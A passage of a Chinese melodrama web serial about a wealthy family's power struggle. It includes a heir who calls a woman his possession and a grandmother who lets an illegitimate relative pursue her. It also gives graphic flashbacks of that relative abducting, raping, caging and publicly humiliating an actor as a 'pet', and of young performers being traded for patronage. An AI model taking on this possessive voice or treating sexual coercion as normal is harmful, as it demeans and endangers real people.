“声誉?”他反问,声音如裂冰,“黎家的声誉,难道不是靠践踏人命堆砌而成?”老夫人的瞳孔骤然收缩,佛珠在掌心发出脆响。 她竟在孙子眼中,窥见一丝近乎疯狂的炽热,那是对她虚伪世界的厌憎,是对权力枷锁的蔑视。 “你若是执意护她,便是与黎家为敌。”她终是撕开慈笑的面具,眼底迸出阴鸷的寒光,“黎远航虽废物,但终究是黎家的血脉。你若是连兄弟都容不下,如何担得起继承人的重任?” 他清楚,老夫人的威胁并非虚言,若他执意对抗,她将煽动黎远航撕碎温栩栩,再以“兄弟阋墙”之名将他钉在耻辱柱上。 但… “我的选择,无需黎家认可。”黎云笙的声音每个字都裹着冷硬的锋芒。 老夫人僵在佛龛前的檀木椅上,佛珠在掌心骤然停转,瞳孔在刹那间瞪圆,那姿态仿佛一尊被惊裂的观音像,慈悲面具下露出蛛蛛般惊悚的真容。 她以为自己听错了,却分明看见黎云笙唇角那抹讥嘲的弧度,如刀锋刮过她伪善的皮肉。 “你…你说什么?”她的嗓音颤着裂痕,檀香在喉间凝成窒息的毒雾。 黎云笙脊梁挺如寒松,眉峰凝着霜色,眼底却燃着暗火。 他太清楚,这位掌控黎家二十年的“老夫人”,骨子里不过是与黎远航同源的私生女。 那些被她用金箔粉饰的“高贵”,此刻正被他一寸寸撕开腐芯。 “我当然清楚我会是黎家的继承人。”他缓步逼近,“所以温栩栩不会是黎家少夫人,但哪怕只是当个情人养在外头,她也只属于我。倘若哪天我不喜了,她也是我曾碰过的物件,黎远航连碰她的资格都没有。”喉间笑意更冷,“什么时候一个低贱的私生子,也配碰未来家主的东西?是太看不起我这个未来的家主,还是忘了他自己是什么卑贱出身?” 字字句句如淬毒的银针,扎进老夫人的血脉之耻。 她脸色骤变,完全没有想到黎云笙竟敢将她的出身捅破这层纱! 黎云笙这字字句句都带着明显的戾色。 是在嘲讽黎远航,亦是在嘲黎老夫人。 黎老夫人的出身就算不得多干净,只是后来因为要嫁进黎家所以洗白了明面上说她是嫡次女,说白了就是养在外的私生女。 黎云笙嘲的是黎远航,更嘲的是黎老夫人。 嘲他们看不清楚身份,妄想不分尊卑的夺取他的权利。 当年她如何用权谋洗白身份,将私生女的污点埋入尘埃,如今这阎王般的孙子却将同样的耻辱掷向黎远航,更将刀刃横在她喉前。嘲黎远航,便是嘲她,讽私生子的卑贱,便是撕她脸上强行贴上的金箔。 她喉间哽着腥涩,佛珠在掌心发出脆响。 第1115章 任凭少爷开心 黎家的权力结构如铁链绷紧,黎云笙早在老爷子咽气前便被遗嘱钉为继承人,而她不过是暂握权柄的代理。 那些未移交的股份、未解冻的信托基金,早已将黎家的未来锁在这阎王掌心。 他未成年时她尚能操控,而今…他已能将她钉在耻辱柱上,用她最忌惮的出身之痛。 “你放肆!”她终是迸出嘶吼,檀香被震得簌簌颤动。 黎云笙却恍若未闻,神色淡然如观死局。 他望向佛龛上垂目的观音,忽而嗤笑:“老夫人总该记得,您自己是如何踩着多少卑贱血肉,才坐稳这位置的?黎远航的出身,与您当年有何不同?不过是五十步笑百步。” “我的东西,不是谁都能碰的,所以老夫人还是好好管教黎远航的好,不然我也不知道我会做出什么事来巩固我的地位。” 这话就已经是赤裸裸的威胁了。 可黎云笙根本不欲多留,撂下狠话就走,他当然知道此刻老夫人会崩溃。 老夫人僵在佛龛前,佛珠散落一地,檀木珠粒滚过她颤抖的脚尖。 她面色青白交错,宛如被剥开所有伪装的腐尸。 他分明在暗示,你与黎远航,皆是同一血脉的污垢,谁又配审判谁的卑贱?都是如出一辙的卑贱。 她胸腔涌起滔天怒意,却如被扼住咽喉的毒蛇,无法倾泻。 黎云笙已用继承人的铁锁钳住她,公司大半股权在他名下,信托基金的控制权即将移交,她若撕破脸,不过是个被夺权的“代理董事长”。 管家躬身立在角落,垂眸不敢触她暴戾的视线。 檀香在窒息的空气里凝成实质,佛龛上的观音像垂目慈悲,却照不亮这暗室的血色。 老夫人的手指抠入掌心,指甲在皮肤刻出血痕。她忽然意识到,这阎王般的孙子,早已不是她能驯服的傀儡。 他撕开她的伪善,用她的出身作刃,不仅护住了温栩栩,更在她权柄上刻下裂痕。 而黎云笙离去的长廊尽头,暮色已深。 他西装上的风尘簌簌作响,喉间却哽着陌生的灼痛。 他何尝不知,今日将彻底撕断与老夫人的血脉羁绊?但温栩栩蜷缩在绷带下的身影,如荆棘刺入他心脏。 护她,便撕碎黎家的“高贵”,弃她,便沦为老夫人的傀儡。这权力者的悖论,终将他逼成孤傲的阎王,在血脉与情感的深渊里,他义无反顾的选择了温栩栩。 不单是因为他本就不会选择傀儡那条路,更因为……他不能眼睁睁看着温栩栩被黎远航欺辱。 哪怕温栩栩疾言厉色的断了他们之间的关系,可在他心里温栩栩就是她的人。 他不会允许有人伤害到他。 他必须证明,无论有用无用,贴上他标签的物品,旁人连碰都不可碰。 特别是温栩栩 …… 黎云笙的身影消失在走廊尽头,老夫人倏地攥紧佛珠,檀木珠粒在掌心刻出血痕。 她转动佛珠的动作愈发癫狂,仿佛要将那离经叛道的灵魂重新拽回她的权柄之下。 管家躬身立于旁,垂眸不敢触她暴戾的视线。 黎家的继承人,竟为一只“臭虫子”与她公然对峙?这怎能容忍! “去,盯着黎远航。”她忽而冷笑,语调裹着淬毒的冰,“让他‘好好管教’温栩栩,但…别真的伤了那丫头。” 管家脊背一凛,黎远航的撕咬必须在她可控的范围内,温栩栩这只“虫子”还需留着,继续刺激黎云笙。 黎老夫人现在唯一庆幸的是在黎云笙有了能力反抗后身边还多了个软肋。 温栩栩就是他的软肋。 她现在不觉得温栩栩的出现不应该了,因为温栩栩让她的胜算又大了几分。 说起来,年轻人就是年轻人,这样轻易的就将底牌泄露了。 管家应声离开去寻黎远航。 夜色如墨,别墅区深处某座别院却灯火糜艳。 人还没进黎远航的院子就听见黎远航寻欢作乐哄女人的声音,跟在黎老夫人面前的时候全然不同,可见之前也都是黎远航演出来的。 管家穿过蜿蜒的廊道,耳畔渐被浪声浸染。 院门未开,便听见里头沸涌的嬉闹,红酒瓶碎裂的脆响、女子娇嗔的浪笑、男人粗鲁的哄嚷,混着电子音乐的嘶吼,仿佛一座堕入深渊的狂欢殿。 门扉推开刹那,扑面而来的烟酒腥气裹着香水腻味,呛得他喉间发涩。 黎远航的别院,泳池边散落着半空的香槟瓶,水面上漂着撕碎的钞票,几名衣着暴露的模特与网红攀附在男人们身上,唇舌交缠如蛇蟒交尾。 黎远航瘫坐在雕花藤椅上,西装凌乱,领带歪斜,衬衫扣子扯到胸口,露出大片被吻痕斑驳的肌肤。 最刺眼的是他额角,被黎云笙撞出的血渍尚未结痂,暗红的痂块混着脂粉,在他癫笑时随肌肉颤动。 “航哥!有人找啊!”狗腿子推开醉醺醺的模特,扯着嗓子嚎叫。 黎远航眯眼望去,见是老夫人的老管家,醉意霎时褪去三分。 他踉跄起身,扯了扯衣襟试图遮掩胸前的秽痕,却仍掩不住那抹刺目的血痂。 黎远航磨磨蹭蹭的走过来,看到老管家脸色就不是很好看,还当又是来教育自己收敛的,但老管家毕竟是老夫人身边的人,只能憋出个笑来。 “李爷爷您怎么专程过来了?”他憋出个笑,嘴角却耷拉着阴戾,“这大晚上的,多不好意思,您要是想找我喝酒,我这儿正热闹着呢!” 管家瞥见他额角的伤,喉间涌起酸涩。 那伤口本该是黎云笙的耻辱烙印,此刻却成了这私生子寻欢的勋章。 他压下眼底的嫌恶,面上仍浮着公式化的慈笑:“我是来传达老夫人的意思。”他刻意抬高音量,盖过泳池边的浪声,“少爷既然喜欢那小明星,自然是看少爷的手段了。老夫人的意思是,她不会插手,任凭少爷开心。” 黎远航的瞳孔骤然亮如兽瞳,醉意全散。 他舔了舔唇角,额角的血痂在灯光下泛着诡光:“真的?奶奶真不拦着我?”管家颔首,余光瞥见他身后那群狐媚女子,她们正用贪婪的目光盯着黎远航,仿佛嗅到血腥的鬣狗。 第1116章 别忘了是谁把你捧起来的 黎远航登时乐得眼角褶子堆叠,笑声如破锣撞钟:“好!好!好!我就知道奶奶最疼我!” 他忽地转身,一把拽过身旁的网红模特,将她按在藤椅扶手上,亲了一口,“听见没?奶奶不拦着!今晚咱们玩个大的!” 女子的尖叫混着浪笑炸裂开来,黎远航的狗腿子们立刻哄嚷着围拢,推搡着灌酒、撕扯裙摆。 管家僵立原地,喉间哽着呕意。 这些人身上浓烈的香水味几乎要呛瞎他的感官,他忽然忆起黎云笙,那位阎王继承人眉间的霜色,至少是干净的,不沾半分秽尘。而这私生子,分明是堕入粪坑的蛆虫,却妄图攀咬星辰。 “老夫人的意思传达到了,我便不扰少爷雅兴了。”管家终是开口,语调冷硬如铁。 黎远航正将红酒泼在模特胸口,闻言敷衍摆手:“李爷爷慢走!改日我亲自去给奶奶请安!”管家转身离去,皮鞋碾过满地狼藉,身后传来更癫浪的哄闹。 他脊背绷直,如穿越腐沼的孤舟,每一步都踏在恶心欲呕的泥泞上。 别院外的夜色总算清冽几分,管家深吸一口冷息,喉间的腥气却仍未散尽。 黎远航那癫狂的笑声仍在耳畔嗡鸣,额角的血痂如毒瘤般烙在记忆里。 他太清楚这私生子的本性,在老夫人面前装乖驯如犬,背地却放纵如兽。 那些吻痕、醉笑、撕碎的钞票,不过是权力傀儡用腐糜麻痹自己的戏码。而老夫人纵容这一切,只因黎远航是她钳制黎云笙的筹码,是刺向继承人的一把锈刀。 他忽而自嘲,自己又何尝不是傀儡?奉命传达这般腌臜的命令,连眼皮都不许皱一下。 思绪纷乱间,他忽觉衣角被夜风卷起。 黎远航别院的方向,浪声依旧沸涌,恍若一座永不崩塌的淫窟。 而黎云笙的身影在他脑海闪过,那位继承人此刻在何处?是否知晓温栩栩即将被卷入这腐沼?抑或,他早已布下暗棋,护那丫头于无形? 管家摇头,阎王的谋局,岂是他能窥透的?他只需将老夫人的命令传到位,便算尽了职责。 老管家踩着夜色远去,脊背佝偻如被岁月压弯的老松。 他长叹一声,喉间溢出的叹息裹着二十年的苦涩。 这群人,真的是黎家的蛀虫们啊…当年老爷子将黎云笙定为继承人,何其明智。 黎远航这般年纪了,仍是个只会用钱砸烂世界的蠢物,捧网红、睡模特,那些狐媚子在他眼里不过是泄欲的玩具,哄几句便掏空钱包,仿佛黎家的钱是大风刮来的永不枯竭。 三年前娱乐圈那桩险些闹出人命的丑闻…若不是老夫人手段通天的遮掩,黎家的脸早被撕烂在上流圈的讥笑里。 那男明星被黎远航折磨得精神崩溃,跳车逃命的画面至今仍出现在他梦里,而这位“少爷”呢?转眼便又寻新欢,将人命如餐巾纸般甩在脑后。 最令他齿冷的,是黎远航与成唯那段腌臜的关系。 成唯如今可是顶火的明星,镁光灯下矜贵如鹤,可三年前…… 老管家忆起那夜暴雨,成唯跪在黎家后门石阶上,西装浸透,眼底燃着屈辱的火。 黎远航当时如何戏弄他? “资源?睡一觉,什么都给你。”那少年颤抖着褪去衣襟,黎远航的笑声如兽啃骨,老管家在窗后窥见这一幕,喉间呕意翻涌。 这蠢货竟以为征服了星辰,实则不过是将别人的尊严碾成泥,再浇上金箔伪装成“恩赐”。 成唯的红,有一半是黎远航用钞票堆砌的。 砸通告、买热搜、塞角色,黎远航如孩童玩泥巴般挥霍,只为听那少年唤他“航哥”,伏在他脚下如犬。 可成唯眼底的恨,老管家早瞧见了,那恨意蛰伏如蛇,终有一日会咬断饲主的喉。 此刻,黎远航的别院里,醉意仍未散的“少爷”摩挲着手机,唇角漾起阴笑。 成唯的电话号码被他拨出,指尖在屏幕上敲着松快自在的节奏。 他才不会觉得自己做的事有什么问题,他现在就想找成唯问问清楚温栩栩在圈子里是个什么身份地位,是不是个能玩得起的。 “不行,现在就叫过来问问情况?”他喉间溢出低喘,额角的血痂在灯光下泛着诡光。 在他眼里,成唯仍是那个任他戏耍的小白脸,是随叫随到的玩物,即便如今万人追捧,那又如何? 他黎远航只需勾勾手指,便能撕下那层矜贵的皮。 电话那头,成唯接到消息时,指尖在剧本上掐出裂痕。 屈辱如毒液灌入喉,他盯着镜中自己。 妆容精致如神祇,眼底却燃着不甘的火。三年前那夜的雨,那石阶上的跪求,黎远航碾碎他尊严的笑声…他曾发誓要洗刷这耻,而今却仍被那蛀虫的绳索勒喉。 他已不是当年的蝼蚁了,可跟黎远航相比,却还是能轻易被摁死的虫蚁。 成唯唇角忽而勾起冷笑,喉间吞咽下恨意,应答的声音温柔如蜜:“好,航哥,我马上过来。” 老管家步履蹒跚穿过黎家长廊,皮鞋碾过每一寸地毯,都似踏在腐肉上。 他想起黎远航方才别院里的糜景,那撕碎的钞票漂在泳池,女子裙摆上的泥渍,黎远航左拥右抱戏耍着这群人,这哪是黎家的少爷?分明是堕入泥泞的蛆虫。 老管家至今还记得成唯当年初来黎家时被他整治的有多惨。 那少年初来黎家时,眼底尚有星火。西装整洁如新雪,脊梁挺得笔直,却在黎远航的“资源”诱饵下,一寸寸折腰。 老管家记得那夜暴雨,成唯跪在石阶上,黎远航的狗腿子们哄笑着泼酒在他头顶,他却仍攥紧剧本,如攥住最后一根救命稻草。黎远航的“恩赐”何等腌臜? 睡一晚,便塞一个烂角色;再睡一晚,便买一个热搜。成唯的红,是踩着自尊的尸骸,被黎远航的钞票推上神坛的。 而如今,成唯成了万众瞩目的明星,镁光灯下如鹤立云端。可黎远航仍视他如旧日玩物,电话召之即来,仿佛那三年跪求的屈辱从未存在。 老管家想这么多,黎远航却全然不放心上,此刻还跟自己的情人们又唱又闹。 夜色更深,黎远航的别院却依然热闹。 成唯的身影终于踏入那腐糜之地,西装依旧整洁如新雪,唇角却挂着虚伪的笑。 黎远航看到他脸上便闪过笑意,直接凑过去搂过他的脖颈,灌酒的动作粗鲁如兽,“听说你最近红得很?” 他嗤笑,“可别忘了,是谁把你捧起来的。” 三年过去了,在黎远航眼里,成唯再红,也还是个可以随意玩弄的小玩意儿。 第1117章 就像宠物 成唯的野心如野火,烧尽了他眼底的谦卑。 他清楚自己不过是娱乐圈浮沫中一粒微尘,无背景、无资本,唯有一张尚可雕琢的脸。但这张脸,足以成为他攀爬的刀刃。 他甘愿豁出所有,甚至将身体化作筹码,只为碾碎挡路的蝼蚁,比如林夏。 那少年的可塑性令他恐惧,演技如刃,终会将他踩入泥潭。 成唯这人,骄傲自大且自负,在他眼里他自己其实就是可以无所不能的,他认为只要给够他一定的资源,他就是能一跃而起。 他能豁得出去,能为了自己想要的东西放下身段去求去讨好,甚至奉献自己的身体,哪怕对方是个男人。 成唯清楚自己什么都没有,只有这张脸长得还不错,只可惜当时最大方的金主是个男人。 圈子里少有没听过黎远航名头的人。 黎远航玩的太嗨,轻易没人能受得了他的玩法,黎远航曾经也想过潜规则女星的,他在圈子里没什么好名声,后来但凡是知道黎远航投资了剧,女星都是不敢去拍的,因为担心会被导演或者剧组的人一杯酒灌醉送到黎远航的床上,那样就一切都毁了。 能拍黎远航剧的人,有些是被骗进来的,根本不知道黎远航的心思,有些就是为了资源来的,譬如成唯。 成唯当时太恨林夏了,因为在他眼里林夏长得可塑性很强,虽然不是那种一眼惊艳的帅哥,但却可以轻易出演很多角色,更不要说林夏的演技好。 一旦在这圈子里多混几年,林夏势必要踩到他头上变成一线。 他不能容忍自己瞧不上的人踩在自己头上,所以他就是要先林夏一步爆火才行。 成唯的骄傲不容许自己被“瞧不上的人”超越,他必须爆火,必须成为一线,必须将林夏的星途扼杀在萌芽中。 于是,当经纪人将黎远航的名字递到他面前时,他眼底燃起了赌徒的疯狂。 资源,他需要资源! 为了火,成唯确实豁得出去,其实最开始成唯陪着的是一名女金主,但成唯对女金主给的资源并不满意,所以才开始寻找其它金主,这次甚至不分性别的都可以接受。 成唯都这么不挑了,他的经纪人就给他推荐了黎远航。 女金主的施舍不过是涓涓细流,而黎远航,这位黎家私生子,传闻中挥金如土的疯子,手握的却是滔天巨浪。 成唯在网络上深掘黎远航的腌臜事迹,玩女星如玩宠物,灌醉后送入他床榻;荤素不忌,男宠亦养在宅院,如豢养犬马。那些被凌辱的艺人,或被撕碎尊严,或被迫吞下堕胎药,甚至传闻有男星被他折磨至精神崩溃…成唯的指尖在屏幕上颤抖,喉间涌起呕意。 他原以为女金主的贪婪已至极致,却未料黎远航是更深的深渊。 退缩的念头如毒藤缠喉,但他望向镜中自己,妆容精致如神祇,却不过是蝼蚁伪装的壳。 成唯不是傻子,在网络上查过了黎远航的风评,知道了这人最喜欢玩,且玩的很开,荤素不忌不说甚至将自己的情人看作是宠物一样养在身边,只要是那些混子朋友都能逗上一逗。 成唯那时候还是要点脸的,查到这些就有些怵了,想要退缩。 可黎远航是什么正人君子吗?知道成唯在调查他后反调查回去,知道成唯长得不错是个刚出来的小爱豆顿时觉得乐子来了。 黎远航岂会给他缓冲的余地? 这私生子如嗅到腐肉的秃鹫,反调查到成唯的动摇后,直接命人将他掳至黎家老宅。 那夜,成唯被粗鲁地推入雕花客房,门扉“砰”然锁死。 他踉跄撞在檀木桌角,脊背剧痛,却不及心中恐惧的万分之一。 黎远航斜倚在雕花榻上,额角泛着酒醉的红,唇角却勾着阴笑。 “查我?有意思。”他摩挲着酒杯,眼底兽光闪烁,“不过查完还想跑?成唯,你当自己是什么矜贵的货色?” 成唯僵立如石,西装仍整洁如新雪,却已被冷汗浸透。 黎远航起身逼近,指尖捏住他下颌,力度如钳。 “硬朗的长相…比那些娘炮兔儿爷有趣多了。”他嗤笑,忽地将成唯按在墙上,唇舌粗暴啃噬。成唯挣扎,喉间发出破碎的嘶吼,却被黎远航的狗腿子们钳住四肢,如宰割羔羊。凌辱如暴雨倾泻,尊严被碾成齑粉,成唯在窒息中屈辱地吞咽下泪。 “哭?这才刚开始。”黎远航在他耳畔低语,笑声如蛇信舔过腐肉,“想资源?跪下来求我,或许…我会赏你。”他甩手离去,留成唯瘫在墙角,西装撕裂,唇间淌血。 次日,黎远航将一叠剧本砸在他面前,皆是顶级制作。 “选一个,跪下签了。”成唯喉间哽着血,却瞥见其中一部剧本的男主角色,正是林夏曾试镜失败的角色。他瞳孔骤缩,屈辱与野心在胸腔撕咬。 最终,他颤抖着跪地,签下自己的名字,如签下卖身契。 自此,成唯成了黎远航的“宠物”。 资源如暴雨倾泻,热搜、通告、角色…他爆火的速度令娱乐圈瞠目,但每夜,他皆需在黎家别院承受凌辱。 黎远航的逗弄于他而言犹如利刃切割着自己的身体。 黎远航从不把他当人看,时而灌他醉酒,令他在狐媚子们的讥笑中爬行,时而将他锁在狗笼,喂食如饲犬;甚至让混子朋友们“借玩”他,如戏耍玩具。 成唯的恨意在每一道伤痕中蓄积,他却伪笑如常,将自尊埋入更深的泥潭。 他知道,唯有忍辱,方能攀至足够高的位置。 为了资源,为了爬的更高,他确实能豁出去。 成唯的折腰,是蝼蚁在巨碾下的求生。他清楚,黎远航的凌辱不过是权力者最腌臜的戏码,将人尊严撕碎,再浇上金箔伪装成“恩赐”。 那些被黎远航“捧红”的艺人,哪个不是踩着自尊的尸骸? 每夜在别院承受戏耍时,他总盯着镜中自己,妆容依旧矜贵如鹤,眼底却燃着地狱的火。 第1118章 谁给骨头谁就是主人 黎远航的逗弄愈发变态。某次,他竟将成唯与一名女星同时锁在密室,灌醉二人,令他们互相撕扯衣襟。成唯在挣扎中咬碎女星的耳垂,黎远航却鼓掌大笑,将这场“争斗”录成视频,威胁他若敢反抗,便全网曝光。 黎远航的手段令人作呕,偏偏成唯也从不是什么好东西,两人凑到一起,只能说是各取所需。 那段时间成唯的资源实在是太好了,那些剧组的资源都是为了成唯特地建立的,只为了捧成唯,全组上下没有人敢得罪成唯,只有成唯在组里威风得意。 但没有人知道下了戏的成唯就要变成黎远航召之即来挥之即去的宠物,被他随意设计玩弄。 成唯的爆红如流星划过娱乐圈的天幕,镁光灯下他矜贵如鹤,脊梁挺直如刃。 但无人知晓,这璀璨的光,不过是黎远航用粪土堆砌的坟冢。 他成了黎远航掌心驯养的宠物,剧组威风如帝王,戏毕却匍匐如犬。那些为他癫狂的粉丝,怎会想到他们捧在手心的偶像,正被撕碎尊严,灌入更深的屈辱。 像是完全成为了他的宠物狗。 他能这样红,全都凭着黎远航的资源,他越是红,黎远航玩起来就越是兴奋,他就喜欢在外高高在上的大明星在他面前变成狗的模样。 他更喜欢带着成唯参加自己这群纨绔二代的聚会,他就是要炫耀自己驯服了流量男星。 这些能跟黎远航玩到一起的人能是什么好东西,其中就有一个网红二代还曾经开直播嘲讽成唯就是条狗这样的言论,因为当时有八卦号提问说他怎么评价最近爆红的成唯,觉得成唯的演技怎么样。 网红二代当时是这么回答的:“你不觉得他很像一条狗吗?谁给他食物他都要摇着尾巴汪汪汪的。” 这话引起了轩然大波,这位网红二代也被成唯的粉丝冲了。 二代被骂了,整个人也气愤,甚至为此凯直播嘲讽。 网红二代的那场直播,成了这场腌臜狂欢的导火索。镜头前,二代青年叼着烟,醉醺醺地嗤笑:“成唯?不就是条狗吗?谁给骨头谁就是主人,汪汪汪几声就能舔到资源,多好玩啊。” 他故意将“舔”字咬得淫荡,屏幕瞬间炸开。他这话其实就是在说成唯的资源都是舔到的,是对成唯的一种侮辱。 成唯的粉丝如被激怒的蜂群,键盘化作毒刺,将直播评论区撕成血潭。 谩骂如潮。 “畜生滚出娱乐圈!” “你全家都是狗!” “你凭什么这么说我们哥哥,你又是什么品种的豺狼!呸!” 更有甚者人肉出二代家庭住址,扬言要上门。 这场网络暴动,将二代青年的账号淹没,却也点燃了黎远航眼底的兽火。 黎远航因为这件事跟自己的二代朋友闹了次脾气,毕竟狗是自己的,你到网上乱说什么?他还就喜欢这种养成系的,你全说了他还玩儿什么呢? 二代朋友也知道黎远航的性子,只能服软,两人到底是臭味相投的,黎远航也完全每当一回事儿,过后还直接叫了成唯陪这位朋友。 成唯的粉丝怎么会知道她们在网络上为自己的偶像怒骂二代,最后却是她们的偶像承担了一切。 她们骂的越狠,成唯就越难捱。 网络上的世界与现实,成了割裂的血色镜像。 粉丝在社交媒体撕天喊地,誓要保护成唯的尊严,却不知他们的每一次冲锋,都让成唯在现实承受加倍的凌辱。 成唯的经纪人曾劝他:“忍吧,等红到无人可撼,便能撕碎这些蛀虫。” 可他清楚,尊严早已被碾成泥,复仇的刀,需以更多屈辱淬炼。 老管家在黎家长廊目睹这一切,喉间呕意如腐液翻涌。 粉丝们的“正义”,不过是推成唯入更深渊的巨石。 这娱乐圈的腌臜,这黎家的腐根,终将生出怎样的孽果?他摇头,蝼蚁的挣扎,终究不过是权力者掌心的笑料。 二代青年的“道歉”如裹着蜜糖的毒刺,在微博平台掀起新一轮的腥风。 他斜倚在私人别墅的沙发上,指尖摩挲着成唯的下巴,唇角勾着阴笑,敲下那段“诚恳”的文字:“好吧,是我说错了,我道歉。只是我自己喜欢玩狗,没有要攻击成唯的意思。因为我觉得成唯非常优秀,毕竟狗狗是主人最忠实的朋友了,不是吗?”末尾的爱心和狗爪突然,在屏幕中泛着猩红的嘲讽。 这“道歉”不过是一场精心编排的戏码,他清楚,成唯的粉丝会盲目欢呼,而圈内的蛀虫们则会嗅到更深层的腌臜。 这道歉,成唯的很多粉丝其实根本没听懂是嘲讽。 他前面嘲讽成唯是狗,后面说自己喜欢玩狗。 懂了的二代朋友都知道二代是玩了成唯,一群人在评论区嘻嘻哈哈,只有成唯的粉丝还当自己扳回一局了。 成唯受辱多少人都看笑话,特别是二代圈里,那阵子二代圈子里都喜欢发条朋友圈或者微博说自己喜欢玩狗,就是在附和那位被成唯粉丝骂了的二代。 粉丝还当她们成功为成唯扳回一局,事实上,却是成唯被更多人当狗。 粉丝群体的狂欢如暴雨倾泻,评论区瞬间被“胜利”的旗帜淹没。 “看!他们道歉了!成唯哥哥是被冤枉的!” “果然二代没素质,现在知道错了吧!” 少女们用天真编织盾牌,将二代的毒刃视为忏悔。 她们不会读懂“玩狗”一词背后翻滚的淫笑,更不会察觉二代在“优秀”二字中埋藏的尖刺,那是对成唯屈辱表演的“褒奖”,是将他彻底钉在“宠物”烙印上的刑枷。 而成唯的经纪团队被迫配合这场虚伪的戏,转发微博附上“感谢理解,未来携手同行”的伪善话,仿佛真的化干戈为玉帛。 然而,二代圈子的腐液早已沸腾。 那阵子,朋友圈与微博成了“玩狗”狂欢的舞台。 某富二代晒出在别墅庭院喂狗粮的视频,配文“新宠物上岗,超乖~”。 第1119章 资源喂得够饱吧? 某网红在派对中模仿成唯斟酒姿态,直播时笑喊:“这狗演得真像,航哥调教有方啊!” 这些腌臜的“玩笑”如病毒般扩散,每个点赞与转发都在成唯的伤口上撒盐。 而成唯的粉丝仍沉浸于“扳回一局”的幻梦中,她们在超话里刷屏“成唯必胜”,却不知自己的偶像正被更多人当作谈资,在权贵的酒局中被戏谑为“最忠实的狗”。 二代青年的“道歉”成了他最得意的勋章。 他私下聚会时猖狂大笑:“那群傻子真信我道歉?成唯现在可是圈里‘名犬’,谁不想逗一逗?” 成唯,这个被粉丝捧为“神祇”的顶流,实则不过是他们掌心玩弄的蛆虫,连尊严的残渣都被碾成齑粉。 粉丝在网络上为他撕天喊地,他却在此刻被撕碎最后一丝尊严,她们的“保护”,不过是将他推向更深的泥潭。 粉丝们的“冲锋”非但没有拯救他,反而将他钉在更耻辱的十字架上。 但那些二代蛀虫并非吝啬,他们以腌臜的慷慨将资源如暴雨倾泻,奢侈品代言的合约砸在他颤抖的掌心,四大杂志封面连夜为他预留,地区代言的商标贴满他被迫跪舔的地板,甚至有人大手一挥,将一辆跑车钥匙掷在他蜷缩的膝前。 最贵的商业区LED屏昼夜滚动他的肖像,广告词“成唯,新生代帝王”在霓虹中泛着虚伪的金光。 这些资源堆砌成他爆火的阶梯,却无人知晓,每一级台阶都由他的血泪与尊严的碎渣粘合。 二代们玩够了,便抛掷骨头以示“恩赏”。 他们在私人会所举杯狂笑:“这狗驯得值!资源喂到位,表演更卖力了!” 成唯的经纪人捧着这些“施舍”如捧着圣谕,连夜拟定公关文案,将奢侈品代言包装成“实力认可”,将跑车赠礼渲染成“友谊见证”。 粉丝群体在数据狂欢中沦为帮凶,她们在超话刷屏“成唯哥哥实红!”,将LED屏的霓虹误读为荣耀,却不知那光芒实则是二代们撒在他伤口上的盐。 最荒诞的谬论在粉丝脑中生根,她们坚信是自己在网络上的冲锋陷阵,迫使二代们“低头认错”并赠予资源。 少女们天真地编织谎言,将成唯的折腰美化为“交际手腕”,将屈辱的交易歌颂为“互利共赢”。 成唯被迫在镜头前伪笑,配合经纪团队演绎“朋友聚会”的戏码,而二代们则在私密群组分享他匍匐斟酒的视频,笑称“看,这就是粉丝捧的帝王,骨子里还是条摇尾犬”。 这腌臜的循环成了娱乐圈的黑色秘典。 成唯的爆红如一座粪土堆砌的高塔,塔尖闪耀的镁光灯下,是他被碾碎的尊严与永不能言的痛。 后来成唯是怎么逃过了黎远航的毒手的? 因为黎远航腻了倦了。 黎远航到底不是个真正的畜生,做不出不养狗就要把人送给畜生的行径,倒是直接放生了。 他也不是直接放生,又给了成唯不少资源,还给了一大笔钱,可以说成唯是黎远航养的最用心的一个。 成唯也是有自己小心思的,他也担心以后黎远航再想起自己来,所以红了后也让经纪人在圈子里面挑些刚毕业还没火的小艺人送到黎远航床上,让黎远航知道自己还念着他的好。 他一直都给黎远航尝鲜,所以黎远航便也承他的情,没找过他的麻烦,偶尔知道成唯要演什么戏还会投资一笔让他在组里面横着走,可见也是有点“主宠”感情的。 当然黎远航认为自己是个情深义重的主人,可对成唯来说只是屈辱。 不过唯一可以庆幸的是黎远航后来没有对他进行什么骚扰或者暗示,他也确实是过得风生水起。 毕竟人是不会为难一条狗的,哪怕是好友的狗,在路上看到了也会摸摸头给点便利,那些二代也没少给成唯行方便。 其实这群二代也就不是喜欢玩男人的人,就是当初尝个新鲜给黎远航点面子罢了。 圈子里都知道成唯有属于自己的人脉网,但没人知道成唯这人脉网是靠着他自己的身体建立的,这样说起来倒是也很心酸。 跟黎远航已经有段时间没见过了,成唯再见到黎远航身体还是会止不住的颤抖,那是生理性的慌乱害怕,即便面上不显,但他内心还是慌的怕的。 成唯踏入院落的瞬间,脊背绷如拉满的弓。 黎远航倚在沙发上的姿态未变,西装依旧熨烫得锋利,额角的旧疤在笑时蠕动如蛆。 他抬眼望向成唯,掌心轻拍沙发扶手:“过来。”语调如旧日驯犬的口令,成唯喉间哽住一声呜咽,双腿却已本能地移动。 他强迫自己步履从容,却在靠近时嗅到对方身上熟悉的檀香,那气味曾混着皮鞭的腥味,曾在他跪舔地板时萦绕如诅咒。 握手时,黎远航故意加重力道,拇指摩挲他掌心的茧痕。 成唯的指尖在触碰的刹那如触电般蜷缩,肌肉记忆瞬间撕开伪装的镇定。 他想起那些被锁链捆缚的夜,想起对方将红酒灌入他喉间的狞笑,想起自己如濒死犬般在铁笼中喘息。 此刻,恐惧化作毒蛇从骨髓攀爬至喉头,但他已将面具焊在脸上,笑意如刀刻般精准:“黎总风采依旧。” 二代们的调侃如腐液滴落。有人举杯戏谑:“航哥的‘名犬’如今可是圈里一霸,资源喂得够饱吧?” 成唯咽下喉间的哽塞,斟酒时故意将手腕露出,那里藏着新纹的图腾,遮掩了旧日的鞭疤。 他低眉顺眼如温顺犬,却在无人窥见的角落,指甲掐入掌心直至渗血。这痛是清醒的锚,将他从崩溃的边缘拽回。 黎远航忽而揽他肩,将温热吐息喷在他耳畔:“你送的那些新人,倒是有趣,但总不及你驯得彻底。” 成唯脊梁在触碰下泛起悚栗,却伪笑应承:“黎总喜欢便好,能为您分忧是我的荣幸。” 他清楚,这“分忧”不过是将自己沦为饲犬者的工具,但唯有如此,方能苟存。 第1120章 温栩栩算什么东西? 那些被他亲手送上黎远航床榻的新人,成了他赎罪的祭品,亦是恐惧的延续。 黎远航的私人庭院网红们搔首弄姿,小明星们低眉献媚。 